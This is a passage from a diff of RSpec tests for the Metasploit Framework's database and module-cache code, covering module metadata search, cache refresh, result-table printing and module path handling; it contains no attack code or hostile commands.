module_detail.stance == 'aggressive'
}.should be_true
end
end
end
context 'with author keyword' do
let(:search_string) do
# us inspect so strings with spaces are quoted correctly
"author:#{author}"
end
let!(:module_authors) do
FactoryGirl.create_list(:mdm_module_author, 2)
end
let(:target_module_author) do
module_authors.first
end
context 'with Mdm::Module::Author#email' do
let(:author) do
target_module_author.email
end
it 'should match Mdm::Module::Author#email' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.authors.any? { |module_author|
module_author.email == target_module_author.email
}
}.should be_true
end
end
context 'with Mdm::Module::Author#name' do
let(:author) do
# use inspect to quote space in name
target_module_author.name.inspect
end
it 'should match Mdm::Module::Author#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.authors.any? { |module_author|
module_author.name == target_module_author.name
}
}.should be_true
end
end
end
it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :bid
it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :cve
it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :edb
context 'with name keyword' do
let(:search_string) do
"name:#{name}"
end
let!(:existing_module_details) do
FactoryGirl.create_list(:mdm_module_detail, 2)
end
let(:target_module_detail) do
existing_module_details.first
end
context 'with Mdm::Module::Detail#fullname' do
let(:name) do
target_module_detail.fullname
end
it 'should match Mdm::Module::Detail#fullname' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.fullname == target_module_detail.fullname
}.should be_true
end
end
context 'with Mdm::Module::Detail#name' do
let(:name) do
# use inspect so spaces are inside quotes
target_module_detail.name.inspect
end
it 'should match Mdm::Module::Detail#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.name == target_module_detail.name
}.should be_true
end
end
end
it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :os
it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :osvdb
it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :platform
context 'with ref keyword' do
let(:ref) do
FactoryGirl.generate :mdm_module_ref_name
end
let(:search_string) do
# use inspect to quote spaces in string
"ref:#{ref.inspect}"
end
let!(:module_ref) do
FactoryGirl.create(:mdm_module_ref)
end
context 'with Mdm::Module::Ref#name' do
let(:ref) do
module_ref.name
end
it 'should match Mdm::Module::Ref#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.refs.any? { |module_ref|
module_ref.name == ref
}
}.should be_true
end
end
context 'without Mdm::Module::Ref#name' do
it 'should not match Mdm::Module::Ref#name' do
module_details.count.should == 0
end
end
end
context 'with type keyword' do
let(:type) do
FactoryGirl.generate :mdm_module_detail_mtype
end
let(:search_string) do
"type:#{type}"
end
let(:target_module_detail) do
all_module_details.first
end
let!(:all_module_details) do
FactoryGirl.create_list(:mdm_module_detail, 2)
end
context 'with Mdm::Module::Ref#name' do
let(:type) do
target_module_detail.mtype
end
it 'should match Mdm::Module::Detail#mtype' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.mtype == type
}.should be_true
end
end
context 'without Mdm::Module::Detail#mtype' do
it 'should not match Mdm::Module::Detail#mtype' do
module_details.count.should == 0
end
end
end
context 'without keyword' do
context 'with Mdm::Module::Action#name' do
let(:search_string) do
module_action.name
end
let!(:module_action) do
FactoryGirl.create(:mdm_module_action)
end
it 'should match Mdm::Module::Action#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.actions.any? { |module_action|
module_action.name == search_string
}
}.should be_true
end
end
context 'with Mdm::Module::Arch#name' do
let(:search_string) do
module_arch.name
end
let!(:module_arch) do
FactoryGirl.create(:mdm_module_arch)
end
it 'should match Mdm::Module::Arch#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.archs.any? { |module_arch|
module_arch.name == search_string
}
}.should be_true
end
end
context 'with Mdm::Module::Author#name' do
let(:search_string) do
module_author.name
end
let!(:module_author) do
FactoryGirl.create(:mdm_module_author)
end
it 'should match Mdm::Module::Author#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.authors.any? { |module_author|
module_author.name == search_string
}
}.should be_true
end
end
context 'with Mdm::Module::Detail' do
let(:target_module_detail) do
all_module_details.first
end
let!(:all_module_details) do
FactoryGirl.create_list(:mdm_module_detail, 3)
end
context 'with #description' do
let(:search_string) do
# use inspect to quote spaces in string
target_module_detail.description.inspect
end
it 'should match Mdm::Module::Detail#description' do
module_details.count.should == 1
module_details.all? { |module_detail|
module_detail.description == target_module_detail.description
}.should be_true
end
end
context 'with #fullname' do
let(:search_string) do
target_module_detail.fullname
end
it 'should match Mdm::Module::Detail#fullname' do
module_details.count.should == 1
module_details.all? { |module_detail|
module_detail.fullname == search_string
}.should be_true
end
end
context 'with #name' do
let(:search_string) do
# use inspect to quote spaces in string
target_module_detail.name.inspect
end
it 'should match Mdm::Module::Detail#name' do
module_details.count.should == 1
module_details.all? { |module_detail|
module_detail.name == target_module_detail.name
}.should be_true
end
end
end
context 'with Mdm::Module::Platform#name' do
let(:search_string) do
module_platform.name
end
let!(:module_platform) do
FactoryGirl.create(:mdm_module_platform)
end
it 'should match Mdm::Module::Platform#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.platforms.any? { |module_platform|
module_platform.name == search_string
}
}.should be_true
end
end
context 'with Mdm::Module::Ref#name' do
let(:search_string) do
module_ref.name
end
let!(:module_ref) do
FactoryGirl.create(:mdm_module_ref)
end
it 'should match Mdm::Module::Ref#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.refs.any? { |module_ref|
module_ref.name == search_string
}
}.should be_true
end
end
context 'with Mdm::Module::Target#name' do
let(:search_string) do
module_target.name
end
let!(:module_target) do
FactoryGirl.create(:mdm_module_target)
end
it 'should match Mdm::Module::Target#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.targets.any? { |module_target|
module_target.name == search_string
}
}.should be_true
end
end
end
end
context '#update_all_module_details' do
def update_all_module_details
db_manager.update_all_module_details
end
let(:migrated) do
false
end
before(:each) do
db_manager.stub(:migrated => migrated)
end
context 'with migrated' do
let(:migrated) do
true
end
let(:modules_caching) do
true
end
before(:each) do
db_manager.stub(:modules_caching => modules_caching)
end
context 'with modules_caching' do
it 'should not update module details' do
db_manager.should_not_receive(:update_module_details)
update_all_module_details
end
end
context 'without modules_caching' do
let(:modules_caching) do
false
end
it 'should create a connection' do
ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original
update_all_module_details
end
it 'should set framework.cache_thread to current thread and then nil around connection' do
framework.should_receive(:cache_thread=).with(Thread.current).ordered
ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered
framework.should_receive(:cache_thread=).with(nil).ordered
update_all_module_details
ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original
end
it 'should set modules_cached to false and then true around connection' do
db_manager.should_receive(:modules_cached=).with(false).ordered
ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered
db_manager.should_receive(:modules_cached=).with(true).ordered
update_all_module_details
ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original
end
it 'should set modules_caching to true and then false around connection' do
db_manager.should_receive(:modules_caching=).with(true).ordered
ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered
db_manager.should_receive(:modules_caching=).with(false).ordered
update_all_module_details
ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original
end
context 'with Mdm::Module::Details' do
let(:module_pathname) do
parent_pathname.join(
'exploits',
"#{reference_name}.rb"
)
end
let(:modification_time) do
module_pathname.mtime
end
let(:parent_pathname) do
Metasploit::Framework.root.join('modules')
end
let(:reference_name) do
'windows/smb/ms08_067_netapi'
end
let(:type) do
'exploit'
end
let!(:module_detail) do
# needs to reference a real module so that it can be loaded
FactoryGirl.create(
:mdm_module_detail,
:file => module_pathname.to_path,
:mtime => modification_time,
:mtype => type,
:ready => ready,
:refname => reference_name
)
end
context '#ready' do
context 'false' do
let(:ready) do
false
end
it_should_behave_like 'Msf::DBManager#update_all_module_details refresh'
end
context 'true' do
let(:ready) do
true
end
context 'with existing Mdm::Module::Detail#file' do
context 'with same Mdm::Module::Detail#mtime and File.mtime' do
it 'should not update module details' do
db_manager.should_not_receive(:update_module_details)
update_all_module_details
end
end
context 'without same Mdm::Module::Detail#mtime and File.mtime' do
let(:modification_time) do
# +1 as rand can return 0 and the time must be different for
# this context.
super() - (rand(1.day) + 1)
end
it_should_behave_like 'Msf::DBManager#update_all_module_details refresh'
end
end
# Emulates a module being removed or renamed
context 'without existing Mdm::Module::Detail#file' do
# have to compute modification manually since the
# `module_pathname` refers to a non-existent file and
# `module_pathname.mtime` would error.
let(:modification_time) do
Time.now.utc - 1.day
end
let(:module_pathname) do
parent_pathname.join('exploits', 'deleted.rb')
end
it 'should not update module details' do
db_manager.should_not_receive(:update_module_details)
update_all_module_details
end
end
end
end
end
end
end
context 'without migrated' do
it 'should not update module details' do
db_manager.should_not_receive(:update_module_details)
update_all_module_details
end
end
end
context '#update_module_details' do
def update_module_details
db_manager.update_module_details(module_instance)
end
let(:loader) do
loader = framework.modules.send(:loaders).find { |loader|
loader.loadable?(parent_path)
}
# Override load_error so that rspec will print it instead of going to framework log
def loader.load_error(module_path, error)
raise error
end
loader
end
let(:migrated) do
false
end
let(:module_instance) do
# make sure the module is loaded into the module_set
loaded = loader.load_module(parent_path, module_type, module_reference_name)
unless loaded
module_path = loader.module_path(parent_path, type, module_reference_name)
fail "#{description} failed to load: #{module_path}"
end
module_set.create(module_reference_name)
end
let(:module_set) do
framework.exploits
end
let(:module_type) do
'exploit'
end
let(:module_reference_name) do
'windows/smb/ms08_067_netapi'
end
let(:parent_path) do
parent_pathname.to_path
end
let(:parent_pathname) do
Metasploit::Framework.root.join('modules')
end
let(:type_directory) do
'exploits'
end
before(:each) do
db_manager.stub(:migrated => migrated)
end
context 'with migrated' do
let(:migrated) do
true
end
it 'should create connection' do
ActiveRecord::Base.connection_pool.should_receive(:with_connection)
ActiveRecord::Base.connection_pool.should_receive(:with_connection).and_call_original
update_module_details
end
it 'should call module_to_details_hash to get Mdm::Module::Detail attributes and association attributes' do
db_manager.should_receive(:module_to_details_hash).and_call_original
update_module_details
end
it 'should create an Mdm::Module::Detail' do
expect {
update_module_details
}.to change(Mdm::Module::Detail, :count).by(1)
end
context 'module_to_details_hash' do
let(:module_to_details_hash) do
{
:mtype => module_type,
:privileged => privileged,
:rank => rank,
:refname => module_reference_name,
:stance => stance
}
end
let(:privileged) do
FactoryGirl.generate :mdm_module_detail_privileged
end
let(:rank) do
FactoryGirl.generate :mdm_module_detail_rank
end
let(:stance) do
FactoryGirl.generate :mdm_module_detail_stance
end
before(:each) do
db_manager.stub(
:module_to_details_hash
).with(
module_instance
).and_return(
module_to_details_hash
)
end
context 'Mdm::Module::Detail' do
subject(:module_detail) do
Mdm::Module::Detail.last
end
before(:each) do
update_module_details
end
its(:mtype) { should == module_type }
its(:privileged) { should == privileged }
its(:rank) { should == rank }
its(:ready) { should == true }
its(:refname) { should == module_reference_name }
its(:stance) { should == stance }
end
context 'with :bits' do
let(:bits) do
[]
end
before(:each) do
module_to_details_hash[:bits] = bits
end
context 'with :action' do
let(:name) do
FactoryGirl.generate :mdm_module_action_name
end
let(:bits) do
super() << [
:action,
{
:name => name
}
]
end
it 'should create an Mdm::Module::Action' do
expect {
update_module_details
}.to change(Mdm::Module::Action, :count).by(1)
end
context 'Mdm::Module::Action' do
subject(:module_action) do
module_detail.actions.last
end
let(:module_detail) do
Mdm::Module::Detail.last
end
before(:each) do
update_module_details
end
its(:name) { should == name }
end
end
context 'with :arch' do
let(:name) do
FactoryGirl.generate :mdm_module_arch_name
end
let(:bits) do
super() << [
:arch,
{
:name => name
}
]
end
it 'should create an Mdm::Module::Arch' do
expect {
update_module_details
}.to change(Mdm::Module::Arch, :count).by(1)
end
context 'Mdm::Module::Arch' do
subject(:module_arch) do
module_detail.archs.last
end
let(:module_detail) do
Mdm::Module::Detail.last
end
before(:each) do
update_module_details
end
its(:name) { should == name }
end
end
context 'with :author' do
let(:email) do
FactoryGirl.generate :mdm_module_author_email
end
let(:name) do
FactoryGirl.generate :mdm_module_author_name
end
let(:bits) do
super() << [
:author,
{
:email => email,
:name => name
}
]
end
it 'should create an Mdm::Module::Author' do
expect {
update_module_details
}.to change(Mdm::Module::Author, :count).by(1)
end
context 'Mdm::Module::Author' do
subject(:module_author) do
module_detail.authors.last
end
let(:module_detail) do
Mdm::Module::Detail.last
end
before(:each) do
update_module_details
end
its(:name) { should == name }
its(:email) { should == email }
end
end
context 'with :platform' do
let(:bits) do
super() << [
:platform,
{
:name => name
}
]
end
let(:name) do
FactoryGirl.generate :mdm_module_platform_name
end
it 'should create an Mdm::Module::Platform' do
expect {
update_module_details
}.to change(Mdm::Module::Platform, :count).by(1)
end
context 'Mdm::Module::Platform' do
subject(:module_platform) do
module_detail.platforms.last
end
let(:module_detail) do
Mdm::Module::Detail.last
end
before(:each) do
update_module_details
end
its(:name) { should == name }
end
end
context 'with :ref' do
let(:bits) do
super() << [
:ref,
{
:name => name
}
]
end
let(:name) do
FactoryGirl.generate :mdm_module_ref_name
end
it 'should create an Mdm::Module::Ref' do
expect {
update_module_details
}.to change(Mdm::Module::Ref, :count).by(1)
end
context 'Mdm::Module::Ref' do
subject(:module_ref) do
module_detail.refs.last
end
let(:module_detail) do
Mdm::Module::Detail.last
end
before(:each) do
update_module_details
end
its(:name) { should == name }
end
end
context 'with :target' do
let(:bits) do
super() << [
:target,
{
:index => index,
:name => name
}
]
end
let(:index) do
FactoryGirl.generate :mdm_module_target_index
end
let(:name) do
FactoryGirl.generate :mdm_module_target_name
end
it 'should create an Mdm::Module::Target' do
expect {
update_module_details
}.to change(Mdm::Module::Target, :count).by(1)
end
context 'Mdm::Module::Target' do
subject(:module_target) do
module_detail.targets.last
end
let(:module_detail) do
Mdm::Module::Detail.last
end
before(:each) do
update_module_details
end
its(:index) { should == index }
its(:name) { should == name }
end
end
end
end
end
context 'without migrated' do
it 'should not create an Mdm::Module::Detail' do
expect {
update_module_details
}.to_not change(Mdm::Module::Detail, :count)
end
end
end
end
@@ -0,0 +1,107 @@
require 'spec_helper'
require 'msf/ui'
require 'msf/ui/console/module_command_dispatcher'
require 'msf/ui/console/command_dispatcher/core'
describe Msf::Ui::Console::CommandDispatcher::Core do
include_context 'Msf::DBManager'
let(:driver) do
mock(
'Driver',
:framework => framework
).tap { |driver|
driver.stub(:on_command_proc=).with(kind_of(Proc))
driver.stub(:print_line).with(kind_of(String))
}
end
subject(:core) do
described_class.new(driver)
end
context '#search_modules_sql' do
def search_modules_sql
core.search_modules_sql(match)
end
let(:match) do
''
end
it 'should generate Matching Modules table' do
core.should_receive(:generate_module_table).with('Matching Modules').and_call_original
search_modules_sql
end
it 'should call Msf::DBManager#search_modules' do
db_manager.should_receive(:search_modules).with(match).and_return([])
search_modules_sql
end
context 'with matching Mdm::Module::Details' do
let(:match) do
module_detail.fullname
end
let!(:module_detail) do
FactoryGirl.create(:mdm_module_detail)
end
context 'printed table' do
def cell(table, row, column)
row_line_number = 6 + row
line_number = 0
cell = nil
table.each_line do |line|
if line_number == row_line_number
# strip prefix and postfix
padded_cells = line[3...-1]
cells = padded_cells.split(/\s{2,}/)
cell = cells[column]
break
end
line_number += 1
end
cell
end
let(:printed_table) do
table = ''
core.stub(:print_line) do |string|
table = string
end
search_modules_sql
table
end
it 'should have fullname in first column' do
cell(printed_table, 0, 0).should include(module_detail.fullname)
end
it 'should have disclosure date in second column' do
cell(printed_table, 0, 1).should include(module_detail.disclosure_date.to_s)
end
it 'should have rank name in third column' do
cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank])
end
it 'should have name in fourth column' do
cell(printed_table, 0, 3).should include(module_detail.name)
end
end
end
end
end
@@ -1,3 +1,5 @@
require 'metasploit/framework/database'
shared_context 'DatabaseCleaner' do
def with_established_connection
begin
@@ -0,0 +1,23 @@
shared_context 'Msf::DBManager' do
include_context 'DatabaseCleaner'
include_context 'Msf::Simple::Framework'
let(:active) do
true
end
let(:db_manager) do
framework.db
end
before(:each) do
configurations = Metasploit::Framework::Database.configurations
spec = configurations[Metasploit::Framework.env]
# Need to connect or ActiveRecord::Base.connection_pool will raise an
# error.
db_manager.connect(spec)
db_manager.stub(:active => active)
end
end
@@ -0,0 +1,23 @@
shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_detail child' do |child_node_name|
attribute_name = child_node_name.underscore
subject(:child_node) do
module_detail_node.at_xpath(child_node_name)
end
let(:attribute) do
module_detail.send(attribute_name)
end
it "should not have Mdm::Module::Detail##{attribute_name} nil" do
attribute.should_not be_nil
end
it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do
if attribute == false
child_node.content.should be_blank
else
child_node.content.should == attribute.to_s
end
end
end
@@ -83,15 +83,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do
Builder::XmlMarkup.new(:indent => 2)
end
before(:each) do
configurations = Metasploit::Framework::Database.configurations
spec = configurations[Metasploit::Framework.env]
# Need to connect or Msf::DBManager#active will be false and
# Msf::DBManager#report_* methods won't create any records.
db_manager.connect(spec)
end
it 'should include methods from module so method can be overridden easier in pro' do
db_manager.should be_a Msf::DBManager::ImportMsfXml
end
@@ -0,0 +1,49 @@
shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword' do |keyword|
context "with #{keyword} keyword" do
let(:search_string) do
"#{keyword}:#{name}"
end
let!(:module_platform) do
FactoryGirl.create(:mdm_module_platform)
end
let!(:module_target) do
FactoryGirl.create(:mdm_module_target)
end
context 'with Mdm::Module::Platform#name' do
let(:name) do
# use inspect to quote spaces in string
module_platform.name.inspect
end
it 'should find matching Mdm::Module::Platform#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.platforms.any? { |module_platform|
module_platform.name == self.module_platform.name
}
}.should be_true
end
end
context 'with Mdm::Module::Target#name' do
let(:name) do
# use inspect to quote spaces in string
module_target.name.inspect
end
it 'should find matching Mdm::Module::Target#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.targets.any? { |module_target|
module_target.name == self.module_target.name
}
}.should be_true
end
end
end
end
@@ -0,0 +1,44 @@
shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword' do |keyword|
context "with #{keyword} keyword" do
let(keyword) do
1
end
let(:name) do
FactoryGirl.generate :mdm_module_ref_name
end
let(:search_string) do
"#{keyword}:#{send(keyword)}"
end
before(:each) do
FactoryGirl.create(:mdm_module_ref, :name => name)
end
name_prefix = "#{keyword.to_s.upcase}-"
context_suffix = "Mdm::Module::Ref#name starting with #{name_prefix.inspect}"
context "with #{context_suffix}" do
let(:name) do
"#{name_prefix}#{send(keyword)}"
end
it 'should match Mdm::Module::Ref#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.refs.any? { |module_ref|
module_ref.name == name
}
}.should be_true
end
end
context "without #{context_suffix}" do
it 'should not match Mdm::Module::Ref#name' do
module_details.count.should == 0
end
end
end
end
@@ -0,0 +1,60 @@
shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do
it 'should destroy Mdm::Module::Detail' do
expect {
update_all_module_details
}.to change(Mdm::Module::Detail, :count).by(-1)
end
context 'with cached module in Msf::ModuleSet' do
let(:module_set) do
framework.exploits
end
before(:each) do
module_set[module_detail.refname] = Msf::SymbolicModule
framework.modules.send(:module_info_by_path)[module_detail.file] = {
:parent_path => Metasploit::Framework.root.join('modules').to_path,
:reference_name => module_detail.refname,
:type => type
}
end
it 'should create instance of module corresponding to Mdm::Module::Detail' do
module_set.should_receive(:create).with(module_detail.refname)
update_all_module_details
end
it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do
db_manager.should_receive(:update_module_details) do |module_instance|
module_instance.should be_a Msf::Module
module_instance.type.should == module_detail.mtype
module_instance.refname.should == module_detail.refname
end
update_all_module_details
end
context 'with exception raised by #update_module_details' do
before(:each) do
db_manager.stub(:update_module_details).and_raise(Exception)
end
it 'should log error' do
db_manager.should_receive(:elog)
update_all_module_details
end
end
end
context 'without cached module in Msf::ModuleSet' do
it 'should not call update_module_details' do
db_manager.should_not_receive(:update_module_details)
update_all_module_details
end
end
end
@@ -0,0 +1,407 @@
shared_examples_for 'Msf::ModuleManager::Cache' do
context '#cache_empty?' do
subject(:cache_empty?) do
module_manager.cache_empty?
end
before(:each) do
module_manager.send(:module_info_by_path=, module_info_by_path)
end
context 'with empty' do
let(:module_info_by_path) do
{}
end
it { should be_true }
end
context 'without empty' do
let(:module_info_by_path) do
{
'path/to/module' => {}
}
end
it { should be_false }
end
end
context '#load_cached_module' do
let(:parent_path) do
Metasploit::Framework.root.join('modules').to_path
end
let(:reference_name) do
'windows/smb/ms08_067_netapi'
end
let(:type) do
'exploit'
end
subject(:load_cached_module) do
module_manager.load_cached_module(type, reference_name)
end
before(:each) do
module_manager.send(:module_info_by_path=, module_info_by_path)
end
context 'with module info in cache' do
let(:module_info_by_path) do
{
'path/to/module' => {
:parent_path => parent_path,
:reference_name => reference_name,
:type => type
}
}
end
it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do
module_manager.send(:loaders).each do |loader|
loader.should_receive(:loadable?).with(parent_path).and_call_original
end
load_cached_module
end
it 'should force load using #load_module on the loader' do
Msf::Modules::Loader::Directory.any_instance.should_receive(
:load_module
).with(
parent_path,
type,
reference_name,
:force => true
).and_call_original
load_cached_module
end
context 'return from load_module' do
before(:each) do
module_manager.send(:loaders).each do |loader|
loader.stub(:load_module => module_loaded)
end
end
context 'with false' do
let(:module_loaded) do
false
end
it { should be_false }
end
context 'with true' do
let(:module_loaded) do
true
end
it { should be_true }
end
end
end
context 'without module info in cache' do
let(:module_info_by_path) do
{}
end
it { should be_false }
end
end
context '#refresh_cache_from_module_files' do
before(:each) do
module_manager.stub(:framework_migrated? => framework_migrated?)
end
context 'with framework migrated' do
let(:framework_migrated?) do
true
end
context 'with module argument' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files(module_class_or_instance)
end
let(:module_class_or_instance) do
Class.new(Msf::Module)
end
it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do
framework.db.should_receive(:update_module_details).with(module_class_or_instance).ordered
module_manager.should_receive(:refresh_cache_from_database).ordered
refresh_cache_from_module_files
end
end
context 'without module argument' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files
end
it 'should update database and then update in-memory cache from the database for all modules' do
framework.db.should_receive(:update_all_module_details).ordered
module_manager.should_receive(:refresh_cache_from_database)
refresh_cache_from_module_files
end
end
end
context 'without framework migrated' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files
end
let(:framework_migrated?) do
false
end
it 'should not call Msf::DBManager#update_module_details' do
framework.db.should_not_receive(:update_module_details)
refresh_cache_from_module_files
end
it 'should not call Msf::DBManager#update_all_module_details' do
framework.db.should_not_receive(:update_all_module_details)
refresh_cache_from_module_files
end
it 'should not call #refresh_cache_from_database' do
module_manager.should_not_receive(:refresh_cache_from_database)
refresh_cache_from_module_files
end
end
end
context '#refresh_cache_from_database' do
def refresh_cache_from_database
module_manager.refresh_cache_from_database
end
it 'should call #module_info_by_path_from_database!' do
module_manager.should_receive(:module_info_by_path_from_database!)
refresh_cache_from_database
end
end
context '#framework_migrated?' do
subject(:framework_migrated?) do
module_manager.send(:framework_migrated?)
end
context 'with framework database' do
before(:each) do
framework.db.stub(:migrated => migrated)
end
context 'with migrated' do
let(:migrated) do
true
end
it { should be_true }
end
context 'without migrated' do
let(:migrated) do
false
end
it { should be_false }
end
end
context 'without framework database' do
before(:each) do
framework.stub(:db => nil)
end
it { should be_false }
end
end
context '#module_info_by_path' do
it { should respond_to(:module_info_by_path) }
end
context '#module_info_by_path=' do
it { should respond_to(:module_info_by_path=) }
end
context '#module_info_by_path_from_database!' do
def module_info_by_path
module_manager.send(:module_info_by_path)
end
def module_info_by_path_from_database!
module_manager.send(:module_info_by_path_from_database!)
end
before(:each) do
module_manager.stub(:framework_migrated? => framework_migrated?)
end
context 'with framework migrated' do
include_context 'DatabaseCleaner'
let(:framework_migrated?) do
true
end
before(:each) do
configurations = Metasploit::Framework::Database.configurations
spec = configurations[Metasploit::Framework.env]
# Need to connect or ActiveRecord::Base.connection_pool will raise an
# error.
framework.db.connect(spec)
end
it 'should call ActiveRecord::Base.connection_pool.with_connection' do
# 1st is from with_established_connection
# 2nd is from module_info_by_path_from_database!
ActiveRecord::Base.connection_pool.should_receive(:with_connection).at_least(2).times
module_info_by_path_from_database!
end
it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do
Mdm::Module::Detail.should_receive(:find_each)
module_info_by_path_from_database!
end
context 'with database cache' do
let(:parent_path) do
parent_pathname.to_path
end
let(:parent_pathname) do
Metasploit::Framework.root.join('modules')
end
let(:path) do
pathname.to_path
end
let(:pathname) do
parent_pathname.join(
'exploits',
"#{reference_name}.rb"
)
end
let(:pathname_modification_time) do
pathname.mtime
end
let(:type) do
'exploit'
end
let(:reference_name) do
'windows/smb/ms08_067_netapi'
end
#
# Let!s (let + before(:each))
#
let!(:mdm_module_detail) do
FactoryGirl.create(:mdm_module_detail,
:file => path,
:mtype => type,
:mtime => pathname.mtime,
:refname => reference_name
)
end
it 'should create cache entry for path' do
module_info_by_path_from_database!
module_info_by_path.should have_key(path)
end
it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do
Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).and_call_original
module_info_by_path_from_database!
end
context 'cache entry' do
subject(:cache_entry) do
module_info_by_path[path]
end
before(:each) do
module_info_by_path_from_database!
end
its([:modification_time]) { should be_within(1.second).of(pathname_modification_time) }
its([:parent_path]) { should == parent_path }
its([:reference_name]) { should == reference_name }
its([:type]) { should == type }
end
context 'typed module set' do
let(:typed_module_set) do
module_manager.module_set(type)
end
context 'with reference_name' do
before(:each) do
typed_module_set[reference_name] = mock('Msf::Module')
end
it 'should not change reference_name value' do
expect {
module_info_by_path_from_database!
}.to_not change {
typed_module_set[reference_name]
}
end
end
context 'without reference_name' do
it 'should set reference_name value to Msf::SymbolicModule' do
module_info_by_path_from_database!
# have to use fetch because [] will trigger de-symbolization and
# instantiation.
typed_module_set.fetch(reference_name).should == Msf::SymbolicModule
end
end
end
end
end
context 'without framework migrated' do
let(:framework_migrated?) do
false
end
it { should_not query_the_database.when_calling(:module_info_by_path_from_database!) }
it 'should reset #module_info_by_path' do
# pre-fill module_info_by_path so change can be detected
module_manager.send(:module_info_by_path=, mock('In-memory Cache'))
module_info_by_path_from_database!
module_info_by_path.should be_empty
end
end
end
end
@@ -0,0 +1,79 @@
shared_examples_for 'Msf::ModuleManager::Loading' do
context '#file_changed?' do
let(:module_basename) do
[basename_prefix, '.rb']
end
it 'should return true if module info is not cached' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
subject.send(:module_info_by_path)[module_path].should be_nil
subject.file_changed?(module_path).should be_true
end
end
it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path)
subject.send(:module_info_by_path)[module_path] = {
# :modification_time must match so that it is the :type that is causing the `true` and not the
# :modification_time causing the `true`.
:modification_time => modification_time,
:type => Msf::MODULE_PAYLOAD
}
subject.file_changed?(module_path).should be_true
end
end
context 'with cache module info and not a payload module' do
it 'should return true if the file does not exist on the file system' do
tempfile = Tempfile.new(module_basename)
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
subject.send(:module_info_by_path)[module_path] = {
:modification_time => modification_time
}
tempfile.unlink
File.exist?(module_path).should be_false
subject.file_changed?(module_path).should be_true
end
it 'should return true if modification time does not match the cached modification time' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
cached_modification_time = (modification_time * rand).to_i
subject.send(:module_info_by_path)[module_path] = {
:modification_time => cached_modification_time
}
cached_modification_time.should_not == modification_time
subject.file_changed?(module_path).should be_true
end
end
it 'should return false if modification time does match the cached modification time' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
cached_modification_time = modification_time
subject.send(:module_info_by_path)[module_path] = {
:modification_time => cached_modification_time
}
cached_modification_time.should == modification_time
subject.file_changed?(module_path).should be_false
end
end
end
end
end
@@ -0,0 +1,77 @@
shared_examples_for 'Msf::ModuleManager::ModulePaths' do
def module_paths
module_manager.send(:module_paths)
end
context '#add_module_path' do
it 'should strip trailing File::SEPARATOR from the path' do
Dir.mktmpdir do |path|
path_with_trailing_separator = path + File::SEPARATOR
module_manager.add_module_path(path_with_trailing_separator)
module_paths.should_not include(path_with_trailing_separator)
module_paths.should include(path)
end
end
context 'with Fastlib archive' do
it 'should raise an ArgumentError unless the File exists' do
file = Tempfile.new(archive_basename)
# unlink will clear path, so copy it to a variable
path = file.path
file.unlink
File.exist?(path).should be_false
expect {
module_manager.add_module_path(path)
}.to raise_error(ArgumentError, "The path supplied does not exist")
end
it 'should add the path to #module_paths if the File exists' do
Tempfile.open(archive_basename) do |temporary_file|
path = temporary_file.path
File.exist?(path).should be_true
module_manager.add_module_path(path)
module_paths.should include(path)
end
end
end
context 'with directory' do
it 'should add path to #module_paths' do
Dir.mktmpdir do |path|
module_manager.add_module_path(path)
module_paths.should include(path)
end
end
context 'containing Fastlib archives' do
it 'should add each Fastlib archive to #module_paths' do
Dir.mktmpdir do |directory|
Tempfile.open(archive_basename, directory) do |file|
